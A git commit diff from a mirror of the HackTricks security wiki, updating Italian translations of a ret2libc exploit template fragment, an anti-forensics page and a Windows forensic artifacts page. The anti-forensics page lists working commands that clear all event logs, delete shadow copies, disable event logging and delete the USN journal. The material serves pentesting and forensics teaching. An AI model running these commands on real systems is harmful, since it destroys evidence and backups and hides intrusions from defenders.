mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 14:10:41 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
This commit is contained in:
parent
ec4118d028
commit
fbbd4dcf4e
35 changed files with 1657 additions and 2181 deletions
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -10,10 +10,14 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% code title="template.py" %}
|
||||
```python
|
||||
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
|
||||
|
@ -202,7 +206,7 @@ P.interactive() #Interact with your shell :)
|
|||
|
||||
## Problemi comuni
|
||||
|
||||
### MAIN_PLT = elf.symbols\['main'] non trovato
|
||||
### MAIN\_PLT = elf.symbols\['main'] non trovato
|
||||
|
||||
Se il simbolo "main" non esiste (probabilmente perché si tratta di un binario strippato). Puoi semplicemente trovare dove si trova il codice principale:
|
||||
```python
|
||||
|
@ -216,7 +220,7 @@ MAIN_PLT = 0x401080
|
|||
```
|
||||
### Puts non trovato
|
||||
|
||||
Se il binario non sta utilizzando Puts, dovresti **verificare se sta utilizzando**
|
||||
Se il binario non sta utilizzando Puts dovresti **verificare se sta utilizzando**
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
|
@ -226,16 +230,21 @@ Prova a **sottrarre 64 byte all'indirizzo di "/bin/sh"**:
|
|||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,17 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Timestamp
|
||||
|
||||
|
@ -20,69 +24,69 @@ Un attaccante potrebbe essere interessato a **modificare i timestamp dei file**
|
|||
|
||||
Entrambi gli attributi hanno 4 timestamp: **Modifica**, **accesso**, **creazione** e **modifica del registro MFT** (MACE o MACB).
|
||||
|
||||
**Windows Explorer** e altri strumenti mostrano le informazioni da **`$STANDARD_INFORMATION`**.
|
||||
**Esplora risorse di Windows** e altri strumenti mostrano le informazioni da **`$STANDARD_INFORMATION`**.
|
||||
|
||||
## TimeStomp - Strumento anti-forense
|
||||
## TimeStomp - Strumento Anti-forense
|
||||
|
||||
Questo strumento **modifica** le informazioni sui timestamp all'interno di **`$STANDARD_INFORMATION`** **ma non** le informazioni all'interno di **`$FILE_NAME`**. Pertanto, è possibile **identificare** **attività sospette**.
|
||||
Questo strumento **modifica** le informazioni sui timestamp all'interno di **`$STANDARD_INFORMATION`** **ma** **non** le informazioni all'interno di **`$FILE_NAME`**. Pertanto, è possibile **identificare** **attività sospette**.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
Il **USN Journal** (Update Sequence Number Journal) è una caratteristica del file system NTFS (Windows NT) che tiene traccia delle modifiche al volume. Lo strumento [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) consente di esaminare queste modifiche.
|
||||
Il **USN Journal** (Update Sequence Number Journal) è una caratteristica del NTFS (sistema di file di Windows NT) che tiene traccia delle modifiche al volume. Lo strumento [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) consente di esaminare queste modifiche.
|
||||
|
||||
![](<../../.gitbook/assets/image (449).png>)
|
||||
|
||||
L'immagine precedente è l'**output** mostrato dallo **strumento** in cui è possibile osservare che sono state eseguite alcune **modifiche al file**.
|
||||
Nell'immagine precedente è mostrato l'**output** dello **strumento** dove si possono osservare alcune **modifiche effettuate** al file.
|
||||
|
||||
## $LogFile
|
||||
|
||||
**Tutte le modifiche ai metadati di un file system vengono registrate** in un processo noto come [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). I metadati registrati sono conservati in un file chiamato `**$LogFile**`, situato nella directory radice di un file system NTFS. Strumenti come [LogFileParser](https://github.com/jschicht/LogFileParser) possono essere utilizzati per analizzare questo file e identificare le modifiche.
|
||||
**Tutte le modifiche dei metadati a un sistema di file vengono registrate** in un processo noto come [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). I metadati registrati sono conservati in un file chiamato `**$LogFile**`, situato nella directory radice di un sistema di file NTFS. Strumenti come [LogFileParser](https://github.com/jschicht/LogFileParser) possono essere utilizzati per analizzare questo file e identificare le modifiche.
|
||||
|
||||
![](<../../.gitbook/assets/image (450).png>)
|
||||
|
||||
Anche in output dello strumento è possibile vedere che sono state eseguite **alcune modifiche**.
|
||||
Ancora una volta, nell'output dello strumento è possibile vedere che **alcune modifiche sono state effettuate**.
|
||||
|
||||
Utilizzando lo stesso strumento è possibile identificare a **quale ora sono stati modificati i timestamp**:
|
||||
Utilizzando lo stesso strumento è possibile identificare a **quale ora i timestamp sono stati modificati**:
|
||||
|
||||
![](<../../.gitbook/assets/image (451).png>)
|
||||
|
||||
* CTIME: Ora di creazione del file
|
||||
* ATIME: Ora di modifica del file
|
||||
* MTIME: Ora di modifica del registro MFT del file
|
||||
* MTIME: Modifica del registro MFT del file
|
||||
* RTIME: Ora di accesso al file
|
||||
|
||||
## Confronto tra `$STANDARD_INFORMATION` e `$FILE_NAME`
|
||||
|
||||
Un altro modo per identificare file modificati in modo sospetto sarebbe confrontare l'ora in entrambi gli attributi alla ricerca di **discrepanze**.
|
||||
Un altro modo per identificare file modificati in modo sospetto sarebbe confrontare l'ora su entrambi gli attributi alla ricerca di **discrepanze**.
|
||||
|
||||
## Nanosecondi
|
||||
|
||||
I timestamp di **NTFS** hanno una **precisione** di **100 nanosecondi**. Trovare file con timestamp come 2010-10-10 10:10:**00.000:0000 è molto sospetto**.
|
||||
I timestamp di **NTFS** hanno una **precisione** di **100 nanosecondi**. Quindi, trovare file con timestamp come 2010-10-10 10:10:**00.000:0000 è molto sospetto**.
|
||||
|
||||
## SetMace - Strumento anti-forense
|
||||
## SetMace - Strumento Anti-forense
|
||||
|
||||
Questo strumento può modificare entrambi gli attributi `$STARNDAR_INFORMATION` e `$FILE_NAME`. Tuttavia, a partire da Windows Vista, è necessario un sistema operativo in esecuzione per modificare queste informazioni.
|
||||
Questo strumento può modificare entrambi gli attributi `$STARNDAR_INFORMATION` e `$FILE_NAME`. Tuttavia, a partire da Windows Vista, è necessario un sistema operativo live per modificare queste informazioni.
|
||||
|
||||
# Nascondere dati
|
||||
# Nascondere Dati
|
||||
|
||||
NTFS utilizza un cluster e la dimensione minima delle informazioni. Ciò significa che se un file occupa un cluster e mezzo, la **parte rimanente non verrà mai utilizzata** fino a quando il file non viene eliminato. Pertanto, è possibile **nascondere dati in questo spazio vuoto**.
|
||||
NTFS utilizza un cluster e la dimensione minima delle informazioni. Ciò significa che se un file occupa un cluster e mezzo, il **mezzo rimanente non verrà mai utilizzato** fino a quando il file non viene eliminato. Quindi, è possibile **nascondere dati in questo spazio vuoto**.
|
||||
|
||||
Ci sono strumenti come slacker che consentono di nascondere dati in questo spazio "nascosto". Tuttavia, un'analisi del `$logfile` e `$usnjrnl` può mostrare che sono stati aggiunti alcuni dati:
|
||||
|
||||
![](<../../.gitbook/assets/image (452).png>)
|
||||
|
||||
Pertanto, è possibile recuperare lo spazio vuoto utilizzando strumenti come FTK Imager. Notare che questo tipo di strumento può salvare il contenuto oscurato o addirittura crittografato.
|
||||
Quindi, è possibile recuperare lo spazio vuoto utilizzando strumenti come FTK Imager. Nota che questo tipo di strumento può salvare il contenuto oscurato o addirittura crittografato.
|
||||
|
||||
# UsbKill
|
||||
|
||||
Questo è uno strumento che **spegne il computer se viene rilevata una modifica alle porte USB**.\
|
||||
Un modo per scoprirlo sarebbe ispezionare i processi in esecuzione e **verificare ogni script Python in esecuzione**.
|
||||
Questo è uno strumento che **spegnerà il computer se viene rilevata qualsiasi modifica nelle porte USB**.\
|
||||
Un modo per scoprirlo sarebbe ispezionare i processi in esecuzione e **esaminare ogni script python in esecuzione**.
|
||||
|
||||
# Distribuzioni Linux in esecuzione
|
||||
# Distribuzioni Live di Linux
|
||||
|
||||
Queste distribuzioni sono **eseguite nella memoria RAM**. L'unico modo per rilevarle è **nel caso in cui il file system NTFS sia montato con permessi di scrittura**. Se viene montato solo con permessi di lettura, non sarà possibile rilevare l'intrusione.
|
||||
Queste distribuzioni sono **eseguite all'interno della memoria RAM**. L'unico modo per rilevarle è **nel caso in cui il file system NTFS sia montato con permessi di scrittura**. Se è montato solo con permessi di lettura, non sarà possibile rilevare l'intrusione.
|
||||
|
||||
# Cancellazione sicura
|
||||
# Cancellazione Sicura
|
||||
|
||||
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||
|
||||
|
@ -90,76 +94,80 @@ Queste distribuzioni sono **eseguite nella memoria RAM**. L'unico modo per rilev
|
|||
|
||||
È possibile disabilitare diversi metodi di registrazione di Windows per rendere molto più difficile l'indagine forense.
|
||||
|
||||
## Disabilita i timestamp - UserAssist
|
||||
## Disabilita Timestamps - UserAssist
|
||||
|
||||
Si tratta di una chiave di registro che mantiene le date e le ore in cui ogni eseguibile è stato eseguito dall'utente.
|
||||
Si tratta di una chiave di registro che mantiene le date e le ore in cui ogni eseguibile è stato avviato dall'utente.
|
||||
|
||||
La disabilitazione di UserAssist richiede due passaggi:
|
||||
Disabilitare UserAssist richiede due passaggi:
|
||||
|
||||
1. Impostare due chiavi di registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` e `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, entrambe a zero per segnalare che desideriamo disabilitare UserAssist.
|
||||
2. Eliminare i sottoalberi del registro che assomigliano a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
2. Cancella i sottoalberi del registro che assomigliano a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
|
||||
## Disabilita i timestamp - Prefetch
|
||||
## Disabilita Timestamps - Prefetch
|
||||
|
||||
Questo salva informazioni sulle applicazioni eseguite con l'obiettivo di migliorare le prestazioni del sistema Windows. Tuttavia, ciò può essere utile anche per le pratiche forensi.
|
||||
Questo salverà informazioni sulle applicazioni eseguite con l'obiettivo di migliorare le prestazioni del sistema Windows. Tuttavia, questo può essere utile anche per le pratiche forensi.
|
||||
|
||||
* Esegui `regedit`
|
||||
* Seleziona il percorso del file `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
|
||||
* Fai clic con il pulsante destro su `EnablePrefetcher` e `EnableSuperfetch`
|
||||
* Fai clic con il pulsante destro su entrambi `EnablePrefetcher` e `EnableSuperfetch`
|
||||
* Seleziona Modifica su ciascuno di questi per cambiare il valore da 1 (o 3) a 0
|
||||
* Riavvia
|
||||
|
||||
## Disabilita i timestamp - Last Access Time
|
||||
## Disabilita Timestamps - Last Access Time
|
||||
|
||||
Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows NT, il sistema impiega del tempo per **aggiornare un campo di timestamp su ogni cartella elencata**, chiamato last access time. Su un volume NTFS molto utilizzato, ciò può influire sulle prestazioni.
|
||||
Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows NT, il sistema impiega tempo per **aggiornare un campo timestamp su ciascuna cartella elencata**, chiamato l'ultimo tempo di accesso. Su un volume NTFS molto utilizzato, questo può influire sulle prestazioni.
|
||||
|
||||
1. Apri l'Editor del Registro (Regedit.exe).
|
||||
2. Passa a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Cerca `NtfsDisableLastAccessUpdate`. Se non esiste, aggiungi questo DWORD e imposta il suo valore su 1, che disabiliterà il processo.
|
||||
2. Naviga fino a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Cerca `NtfsDisableLastAccessUpdate`. Se non esiste, aggiungi questo DWORD e impostane il valore su 1, che disabiliterà il processo.
|
||||
4. Chiudi l'Editor del Registro e riavvia il server.
|
||||
## Eliminare la cronologia delle USB
|
||||
## Eliminare la cronologia USB
|
||||
|
||||
Tutte le **voci dei dispositivi USB** vengono memorizzate nel Registro di sistema di Windows sotto la chiave di registro **USBSTOR**, che contiene sottocchiavi create ogni volta che si collega un dispositivo USB al PC o al laptop. È possibile trovare questa chiave qui: H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questa chiave**, si eliminerà la cronologia delle USB.\
|
||||
È anche possibile utilizzare lo strumento [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) per assicurarsi di averle eliminate (e per eliminarle).
|
||||
Tutte le **voci dei dispositivi USB** sono memorizzate nel Registro di Windows sotto la chiave di registro **USBSTOR** che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o al laptop. È possibile trovare questa chiave qui H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando questo** si eliminerà la cronologia USB.\
|
||||
È anche possibile utilizzare lo strumento [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) per assicurarsi di averli eliminati (e per eliminarli).
|
||||
|
||||
Un altro file che salva informazioni sulle USB è il file `setupapi.dev.log` all'interno di `C:\Windows\INF`. Anche questo dovrebbe essere eliminato.
|
||||
Un altro file che salva informazioni sugli USB è il file `setupapi.dev.log` all'interno di `C:\Windows\INF`. Anche questo dovrebbe essere eliminato.
|
||||
|
||||
## Disabilitare le copie shadow
|
||||
## Disabilitare le Copie Shadow
|
||||
|
||||
**Elencare** le copie shadow con `vssadmin list shadowstorage`\
|
||||
**Eliminarle** eseguendo `vssadmin delete shadow`
|
||||
|
||||
È anche possibile eliminarle tramite GUI seguendo i passaggi proposti in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
Per disabilitare le copie shadow [seguire i passaggi da qui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
Per disabilitare le copie shadow [passaggi da qui](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Aprire il programma Servizi digitando "servizi" nella casella di ricerca di testo dopo aver cliccato sul pulsante di avvio di Windows.
|
||||
2. Dalla lista, trovare "Volume Shadow Copy", selezionarlo e quindi accedere alle Proprietà facendo clic con il pulsante destro del mouse.
|
||||
3. Scegliere Disabilitato dal menu a discesa "Tipo di avvio" e quindi confermare la modifica cliccando su Applica e OK.
|
||||
3. Scegliere Disabilitato dal menu a discesa "Tipo di avvio" e quindi confermare la modifica facendo clic su Applica e OK.
|
||||
|
||||
È anche possibile modificare la configurazione dei file che verranno copiati nella copia shadow nel registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
## Sovrascrivere i file eliminati
|
||||
|
||||
* È possibile utilizzare uno **strumento di Windows**: `cipher /w:C`. Questo indicherà a Cipher di rimuovere tutti i dati dallo spazio su disco non utilizzato disponibile nell'unità C.
|
||||
* È possibile utilizzare uno strumento **Windows**: `cipher /w:C` Questo indicherà a cipher di rimuovere tutti i dati dallo spazio disco non utilizzato disponibile nel disco C.
|
||||
* È anche possibile utilizzare strumenti come [**Eraser**](https://eraser.heidi.ie)
|
||||
|
||||
## Eliminare i log degli eventi di Windows
|
||||
|
||||
* Windows + R --> eventvwr.msc --> Espandere "Registri di Windows" --> Fare clic con il pulsante destro del mouse su ogni categoria e selezionare "Cancella registro"
|
||||
* Windows + R --> eventvwr.msc --> Espandi "Log di Windows" --> Fare clic con il pulsante destro su ogni categoria e selezionare "Cancella log"
|
||||
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## Disabilitare i log degli eventi di Windows
|
||||
|
||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
* All'interno della sezione dei servizi, disabilitare il servizio "Windows Event Log"
|
||||
* All'interno della sezione dei servizi disabilitare il servizio "Log eventi di Windows"
|
||||
* `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl`
|
||||
|
||||
## Disabilitare $UsnJrnl
|
||||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -167,10 +175,10 @@ Per disabilitare le copie shadow [seguire i passaggi da qui](https://support.wat
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**repository di HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,25 +4,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Artefatti generici di Windows
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Artefatti Generici di Windows
|
||||
|
||||
### Notifiche di Windows 10
|
||||
|
||||
Nel percorso `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` puoi trovare il database `appdb.dat` (prima di Windows Anniversary) o `wpndatabase.db` (dopo Windows Anniversary).
|
||||
Nel percorso `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` è possibile trovare il database `appdb.dat` (prima dell'anniversario di Windows) o `wpndatabase.db` (dopo l'anniversario di Windows).
|
||||
|
||||
All'interno di questo database SQLite, puoi trovare la tabella `Notification` con tutte le notifiche (in formato XML) che possono contenere dati interessanti.
|
||||
All'interno di questo database SQLite, è possibile trovare la tabella `Notification` con tutte le notifiche (in formato XML) che possono contenere dati interessanti.
|
||||
|
||||
### Timeline
|
||||
|
||||
|
@ -30,15 +34,15 @@ La Timeline è una caratteristica di Windows che fornisce una **cronologia crono
|
|||
|
||||
Il database risiede nel percorso `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Questo database può essere aperto con uno strumento SQLite o con lo strumento [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **che genera 2 file che possono essere aperti con lo strumento** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
### ADS (Alternate Data Streams)
|
||||
### ADS (Flussi di Dati Alternativi)
|
||||
|
||||
I file scaricati possono contenere la **ADS Zone.Identifier** che indica **come** è stato **scaricato** dall'intranet, internet, ecc. Alcuni software (come i browser) di solito inseriscono anche **ulteriori** **informazioni** come l'**URL** da cui è stato scaricato il file.
|
||||
I file scaricati possono contenere la **Zona di Identificazione ADS** che indica **come** è stato **scaricato** dall'intranet, internet, ecc. Alcuni software (come i browser) di solito inseriscono ancora **più** **informazioni** come l'**URL** da cui è stato scaricato il file.
|
||||
|
||||
## **Backup dei file**
|
||||
## **Backup dei File**
|
||||
|
||||
### Cestino
|
||||
|
||||
In Vista/Win7/Win8/Win10 il **Cestino** può essere trovato nella cartella **`$Recycle.bin`** nella radice del disco (`C:\$Recycle.bin`).\
|
||||
In Vista/Win7/Win8/Win10 il **Cestino** si trova nella cartella **`$Recycle.bin`** nella radice del drive (`C:\$Recycle.bin`).\
|
||||
Quando un file viene eliminato in questa cartella vengono creati 2 file specifici:
|
||||
|
||||
* `$I{id}`: Informazioni sul file (data in cui è stato eliminato)
|
||||
|
@ -46,21 +50,21 @@ Quando un file viene eliminato in questa cartella vengono creati 2 file specific
|
|||
|
||||
![](<../../../.gitbook/assets/image (486).png>)
|
||||
|
||||
Avendo questi file puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista - Win10).
|
||||
